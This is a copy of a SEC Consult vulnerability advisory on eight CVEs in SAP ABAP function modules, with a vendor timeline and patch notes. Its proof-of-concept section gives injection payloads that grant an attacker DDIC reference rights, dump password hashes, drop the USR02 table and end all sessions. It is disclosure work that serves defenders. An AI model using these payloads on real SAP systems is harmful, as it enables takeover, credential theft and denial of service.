Below is a copy: SAP Application Server ABAP / ABAP Platform Code Injection / SQL Injection / Missing Authorization
SEC Consult Vulnerability Lab Security Advisory < 20220518-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: SAP Application Server
ABAP and ABAP Platform (Different Software Components)
vulnerable version: see section "Vulnerable / tested versions"
fixed version: see SAP security notes 2958563, 2973735,
2993132, 2986980, 2999854, 3002517, 3048657
CVE number: CVE-2020-6318, CVE-2020-26808, CVE-2020-26832,
CVE-2021-21465, CVE-2021-21468, CVE-2021-21466,
CVE-2021-21473, CVE-2021-33678
impact: critical
homepage: https://www.sap.com
found: 08/2020 - 02/2021
by: Fabian Hagg (Office Vienna)
Alexander Meier (Office Berlin)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"SAP is a market share leader in enterprise resource planning (ERP),
analytics, supply chain management, human capital management, master
data management, data integration as well as in experience management"
[1]. Customers comprise 92% of the Forbes Global 2000 companies and
98% of the 100 most valued brands. 77% of the worlds transaction revenue
touches an SAP system [1, 2].
"SAP NetWeaver Application Server for ABAP (AS ABAP) is a platform on
which important business processes run. It provides a complete development
and runtime environment for ABAP-based applications. The purpose of AS ABAP
is to provide programmers with an efficient means of expressing business
logic and relieve them from the necessity of platform-related and purely
technical coding. AS ABAP is therefore a basis for all ABAP systems" [3].
"The [successor] ABAP platform provides a reliable and scalable server
and programming environment for modern ABAP development [...]. The ABAP
platform offers support for SAP HANA and SAP Fiori and allows developers
to efficiently build enterprise software that meets the requirements of
their business scenarios on-premise as well as in the cloud" [4].
[1] https://www.sap.com/about/company.html
[2] https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71
af511fa.html
[3] https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/
en-US/797de8aa42e24916953c4bb3d983662d.html
[4] https://developers.sap.com/topics/abap-platform.html
Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, privileged
attackers can take complete control of affected application servers. Thus,
successful exploitation can enable fraud, sabotage or data theft while
affecting confidentiality, integrity, and availability of business data.
SEC Consult recommends to implement security notes 2958563, 2973735,
2993132, 2986980, 2999854, 3002517, 3048657 where the documented issues
are fixed according to the vendor. We advise installing the corrections
as a matter of priority to keep business-critical data secured.
Vulnerability overview/description:
-----------------------------------
Advanced Business Application Programming (ABAP) is a proprietary
programming language by SAP SE. In common with every other programming
language, ABAP can be susceptible to software vulnerabilities ranging
from missing or improper authorization checks to inadequate input
validation and output sanitization. Of particular concern are injection
vulnerabilities, which can jeopardize the overall system security.
Remote Function Call (RFC) is a proprietary network protocol by SAP SE.
Comparable to application programming interfaces (APIs), SAP systems
come with thousands of built-in function modules implemented in ABAP. RFC
allows remote-enabled functions to be accessed via the network. This makes
it possible to decentralize business applications even across system
boundaries. External programs and external clients can make use of RFC
connections to interact with an SAP system via libraries (e.g. NW RFC SDK)
provisioned by SAP SE.
This advisory covers multiple critical vulnerabilities discovered in
the ABAP coding of standard function modules. These are part of different
software components that build upon the bedrock products SAP Application
Server ABAP and ABAP Platform.
1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver
(ABAP Server) and ABAP Platform
Function modules RSDU_LIST_DB_TABLE_SYB and RSDU_LIST_DB_TABLE_DB4
of function groups RSDU_UTIL_SYB and RSDU_CORE_UTIL_DB4 are vulnerable
to ABAP code injection bugs allowing to execute arbitrary ABAP
code. Successful exploitation leads to full system compromise.
2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP
and S/4 HANA (DMIS)
Function module CNV_MBT_SEL_STRING_RETURN of function group
CNV_MBT_SEL is vulnerable to an ABAP code injection bug allowing to
embed arbitrary code into the ABAP Repository. An attacker can abuse
this bug by invoking the function remotely via the RFC protocol.
Successful exploitation leads to full system compromise.
3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver
AS ABAP and SAP S4 HANA (SAP Landscape Transformation)
Function module CNV_GET_USERS_FOR_APP_SERVER of function group
CNV_00001_HELP does not perform any programmatically implemented
authorization check. An attacker can abuse this bug by invoking
the function remotely via the RFC protocol. Successful exploitation
allows to retrieve internal information and to make a targeted SAP
system completely unavailable to its intended users. The latter
is to be considered as a Denial of Service (DoS) attack.
4) [CVE-2021-21468] Missing Authorization Check in SAP Business
Warehouse (Database Interface)
Function module RSDL_DB_GET_DATA_BWS of function group RSDL does
not perform any programmatically implemented authorization check.
An attacker can abuse this bug by invoking the function remotely
via the RFC protocol. Successful exploitation allows to read out
the entire database including cross-client data access.
5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP
Business Warehouse (Database Interface)
Function module RSDL_DB_GET_DATA_BWS of function group RSDL is
vulnerable to a native SQL injection (ADBC) bug allowing to execute
arbitrary SQL commands at database level. An attacker can abuse
this bug by invoking the function remotely via the RFC protocol.
Successful exploitation leads to full system compromise.
6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business
Warehouse and SAP BW/4HANA
Function module RSDRI_DF_TEXT_READ of function group RSDRI_DF_FACADE
is vulnerable to an ABAP code injection bug allowing to embed
arbitrary code into the ABAP Repository. An attacker can abuse this
bug by invoking the function remotely via the RFC protocol. Successful
exploitation leads to full system compromise.
7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP
and ABAP Platform
Function module SRM_RFC_SUBMIT_REPORT of function group SRM_REP does not
enforce proper authorization checks for critical use of a dynamic program
call. An attacker can abuse this bug by invoking the function remotely
via the RFC protocol. Successful exploitation allows an attacker to
execute existing ABAP reports without holding sufficient authorizations.
8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP
(Reconciliation Framework)
Function module CONVERT_FROM_CHAR_SORT_RFW of function group FG_RFW contains
a code injection vulnerability with a limited exploitation primitive. An
attacker can abuse this bug to delete critical system tables (e.g. USR02),
making the targeted SAP system completely unavailable to its intended users.
Proof of concept:
-----------------
1) [CVE-2020-6318] Code Injection Vulnerability in SAP NetWeaver
(ABAP Server) and ABAP Platform
The vulnerable functions make use of the GENERATE SUBROUTINE POOL
instruction by providing source code that is created dynamically
using untrusted user input. As there is no input validation or
output sanitization, an attacker can inject malicious ABAP code
through specific import parameters. This code gets executed on the
fly by the application server in the course of execution of the
functions.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter: I_TABLNM
Value: USR02
Import Table: I_T_SELECT_FIELDS
RSD_FIELDNM
BNAME
Import Table: I_T_WHERE_COND
FIELDNM OP LOW
BNAME EQ S'ENDEXEC. EXEC SQL.UPDATE USREFUS SET
REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER
2) [CVE-2020-26808] Code Injection Vulnerability in SAP AS ABAP
and S/4 HANA (DMIS)
The vulnerable function makes use of the INSERT REPORT instruction
by providing source code that is created dynamically using untrusted
user input. As there is no input validation or output sanitization,
an attacker can inject malicious ABAP code through specific import
parameters. Inserted code may be executed by chaining this bug with
CVE-2021-21473.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter: TABNAME
Value: USR02
Import Table: IMT_SELSTRING
LINE
BNAME = 'TEST'. ENDSELECT.
UPDATE USREFUS SET REFUSER = 'DDIC' WHERE BNAME = 'ATTACKER'
SELECT * FROM USR02
3) [CVE-2020-26832] Missing Authorization Check in SAP NetWeaver
AS ABAP and SAP S4 HANA (SAP Landscape Transformation)
The vulnerable function does not perform any explicit authorization
check. Depending on a specific import parameter, the function leaks
active logon sessions (opcode 02) or terminates all active logon
sessions (opcode 25) by kernel call 'ThUsrInfo'. Invoking the function
periodically prevents users from logging into the application server.
The following payload exploits the bug to trigger the information
disclosure and enumerate active user sessions:
Import Parameter:MODE
Value: 1
The following payload exploits the bug to terminate all active user
sessions:
Import Parameter:MODE
Value: 2
4) [CVE-2021-21468] Missing Authorization Check in SAP Business
Warehouse (Database Interface)
The vulnerable function does not perform any explicit authorization
check. It uses predefined classes and methods from the ABAP Database
Connectivity (ADBC) framework to execute native SQL queries at database
level. Depending on specific import parameters, this allows to read out
arbitrary table data including user master records or secure storages
(e.g. RSECTAB).
The following payload exploits the bug to exfiltrate user password
hashes:
Import Table: I_S_TABSEL
NAME
USR02
Import Table: I_S_DBCON
CON_NAME
<Database Connection String> (e.g. DEFAULT)
Import Table: I_T_DBFIELDS
NAME TYPE LENGTH
BNAME CHAR255 000255
PWDSALTEDHASH CHAR255 000255
5) [CVE-2021-21465] Native SQL Injection Vulnerability in SAP
Business Warehouse (Database Interface)
The vulnerable function does not perform any input validation or
output sanitization on import parameters that can be used to define
conditional SQL statements. This allows to inject arbitrary SQL
commands that get executed natively at database level in the course
of execution of the function.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Table: I_S_TABSEL
NAME
USR02
Import Table: I_S_DBCON
CON_NAME
<Database Connection String> (e.g. DEFAULT)
Import Table: I_T_DBFIELDS
NAME TYPE LENGTH
BNAME CHAR255 000255
Import Table: I_T_SELECT
FIELDNM OPTION LOW
BNAME EQ '';UPDATE USREFUS SET REFUSER
='DDIC' WHERE '1
' = '1 AND' AND BNAME EQ 'ATTACKER';
6) [CVE-2021-21466] Code Injection Vulnerability in SAP Business
Warehouse and SAP BW/4HANA
The vulnerable function makes use of the INSERT REPORT instruction
by providing source code that is created dynamically using untrusted
user input. As there is no input validation or output sanitization,
an attacker can inject malicious ABAP code through specific import
parameters. Inserted code may be executed by chaining this bug with
CVE-2021-21473.
The following payload exploits the bug to escalate privileges via
reference user assignment:
Import Parameter:I_TABLE_NAME
Value: INJECTION
Import Parameter:I_DEBUG_SUFFIX
Value: SAP
Import Table: I_T_RANGE_STRING
CHANM LOW HIGH
BNAME '. UPDATE USREFUS SET REFUSER '. EXIT. "
= 'DDIC' WHERE BNAME = 'ATTACKER
7) [CVE-2021-21473] Missing Authorization Check in SAP NetWeaver AS ABAP
and ABAP Platform
The vulnerable function uses a dynamically generated program name (based
on data from untrusted sources) in a SUBMIT call. No authorization checks
are programmatically enforced. Thus, a remote, unauthorized attacker can
leverage this function to start any existing ABAP report by providing the
respective report name in the import parameter REPORTNAME.
8) [CVE-2021-33678] Code Injection vulnerability in SAP NetWeaver AS ABAP
(Reconciliation Framework)
The vulnerable function makes use of the GENERATE SUBROUTINE POOL instruction
in form 'get_dynamic_fields' by providing source code that is created
dynamically using untrusted user input. As there is no input validation or
output sanitization, an attacker can inject malicious ABAP code through specific
import parameters. These parameters are limited in size due to their variable
type. This restricts an attacker in exploitation scenarios. However, it is still
possible, for example, to delete critical system tables by exploiting this bug.
The following payload exploits the bug to drop table USR02, leading to a complete
loss of availability of the target system:
Import Parameter:RTABNAME
Value: X. EXEC SQL. DROP TABLE USR02-
Import Parameter:RFIELDNAME
Value: ENDEXEC
Vulnerable / tested versions:
-----------------------------
All tests were conducted on SAP NetWeaver Application Server ABAP 752 SP04
and ABAP Platform 1909. No additional testing on other releases has been
carried out. According to the vendor the following releases and versions
are affected by the discovered vulnerabilities:
1) SAP NetWeaver (ABAP Server) and ABAP Platform, Versions
- 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752,
753, 754, 755
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
2) SAP AS ABAP (DMIS), Versions - 2011_1_620, 2011_1_640,
2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752,
2020; SAP S4 HANA(DMIS), Versions - 101, 102, 103, 104, 105
Components: DMIS, S4CORE
3) SAP NetWeaver AS ABAP (SAP Landscape Transformation - DMIS),
Versions - 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710,
2011_1_730, 2011_1_731, 2011_1_752, 2020; SAP S4 HANA
(SAP Landscape Transformation), Versions - 101, 102, 103,
104, 105
Components: DMIS, S4CORE
4) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,
750, 751, 752, 753, 754, 755, 782
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
5) SAP Business Warehouse, Versions - 710, 711, 730, 731, 740,
750, 751, 752, 753, 754, 755, 782
Components: SAP_BW, SAP_BW_VIRTUAL_COMP
6) SAP Business Warehouse, Versions - 700, 701, 702, 711, 730,
731, 740, 750, 782; SAP BW4HANA, Versions - 100, 200
Components: SAP_BW, DW4CORE
7) SAP NetWeaver AS ABAP and ABAP Platform, Versions - 700,
702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755
Components: SAP_BASIS
8) SAP NetWeaver AS ABAP (Reconciliation Framework) - 700, 701,
702, 710, 711, 730, 731, 740, 750, 751, 752, 75A, 75B, 75B,
75C, 75D, 75E, 75F
Components: SAP_ABA
Vendor contact timeline:
------------------------
The following timelines have been split for each CVE/vulnerability, as different
contacts were responsible. All identified vulnerabilities have been fixed by now
by SAP and SEC Consult releases this security advisory adhering to the
responsible disclosure policy.
CVE-2020-6318
--------------------------------
2020-08-12 | Contacting vendor with detailed report through vulnerability
submission web form.
2020-08-13 | Vendor confirms receipt and assigns security incident number
#2080354772.
2020-08-19 | Vendor confirms vulnerability.
2020-08-24 | Vendor informs about patch development strategy.
2020-09-07 | Vendor informs about release of the patch, registration of CVE
number and corresponding security note.
2020-09-08 | Vendor releases patch with SAP Security Note 2958563.
CVE-2020-26808
--------------------------------
2020-09-24 | Contacting vendor with detailed report through vulnerability
submission web form.
2020-09-25 | Vendor confirms receipt and assigns security incident number
#2070354293.
2020-10-20 | Contacting vendor to request progress information.
2020-10-21 | Vendor confirms vulnerability and states that a fix is in
development.
2020-11-09 | Vendor informs about release of the patch, registration of CVE
number and corresponding security note.
2020-11-10 | Vendor releases patch with SAP Security Note 2973735.
CVE-2020-26832
--------------------------------
2020-10-23 | Contacting vendor with detailed report through vulnerability
submission web form.
2020-10-26 | Vendor confirms receipt and assigns security incident number
#2070432866.
2020-11-17 | Vendor confirms vulnerability and proposes CVSS score of 7.6.
2020-11-23 | Vendor asks for exploit script shown in the initial report.
2020-11-24 | Providing the requested script via encrypted PGP mail.
2020-12-07 | Vendor informs about release of the patch, registration of CVE
number and corresponding security note.
2020-12-08 | Vendor releases patch with SAP Security Note 2993132.
CVE-2021-21465 / CVE-2021-21468
--------------------------------
2020-10-27 | Contacting vendor with detailed report through vulnerability
submission web form.
2020-10-29 | Vendor confirms receipt and assigns separated security incident
numbers #2070446047 and #2070446050.
2020-11-06 | Vendor confirms vulnerability and predicts patches to be released
on December Patch Tuesday 2020.
2020-11-18 | Vendor confirms that they are still on track for December Patch
Tuesday 2020.
2020-12-01 | Vendor informs that patch needs to be postponed to January Patch
Tuesday 2021.
2021-01-08 | Vendor informs about release of patches and clarifies that a single
security note will fix both issues. Additional information about
CVSS scores is provided.
2021-01-11 | Vendor informs about release of the patches, registration of CVE
numbers and corresponding security note.
2021-01-12 | Vendor releases patches with SAP Security Note 2986980.
CVE-2021-21466 / CVE-2021-21473
--------------------------------
2020-11-25 | Contacting vendor with detailed report through vulnerability
submission web form.
2020-11-27 | Vendor confirms receipt and assigns security incident number
#2080396648.
2021-01-04 | Vendor confirms vulnerability and states that they are working
on a fix. Additional information is provided detailing on that
they will split the reported finding into two separated security
issues and security incident numbers #2080396648 and #2080412695.
2021-01-11 | Vendor informs about release of the first patch, registration of CVE
number and corresponding security note.
2021-01-11 | Vendor informs about patch release for the first issue. Additional
information is provided describing that a patch for the second issue
is still in development.
2021-01-12 | Vendor releases first patch with SAP Security Note 2999854.
2021-05-07 | Asking vendor for update regarding the second issue.
2021-05-11 | Vendor informs that fix is in progress and note will be released soon.
2021-06-07 | Vendor informs about release of the second patch, registration of CVE
number and corresponding security note.
2021-06-08 | Vendor releases second patch with SAP Security Note 3002517.
CVE-2021-33678
--------------------------------
2021-02-01 | Contacting vendor with detailed report through vulnerability
submission web form.
2021-02-03 | Vendor confirms receipt and assigns security incident number
#2180074995.
2021-05-07 | Asking vendor for update.
2021-05-11 | Vendor informs that fix is in progress.
2021-07-12 | Vendor informs about release of the patch, registration of CVE
number and corresponding security note.
2021-07-13 | Vendor releases patch with SAP Security Note 3048657.
Solution:
---------
SAP SE reacted promptly to our findings. Product Security Incident Response
Team (PSRT) and engineers released patches in a timely manner for each of
the reported issues. These patches are available in form of SAP Security
Notes which can be accessed via the SAP Customer Launchpad [5]. More
information can also be found at the Official SAP Product Security Response
Space [6].
The following Security Notes need to be implemented:
2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657
[5] https://launchpad.support.sap.com/#/securitynotes
[6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
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Atos company. It ensures the continued knowledge gain of SEC Consult in the
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and valid recommendation about the risk profile of new technologies.
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EOF F. Hagg, A. Meier / @2022
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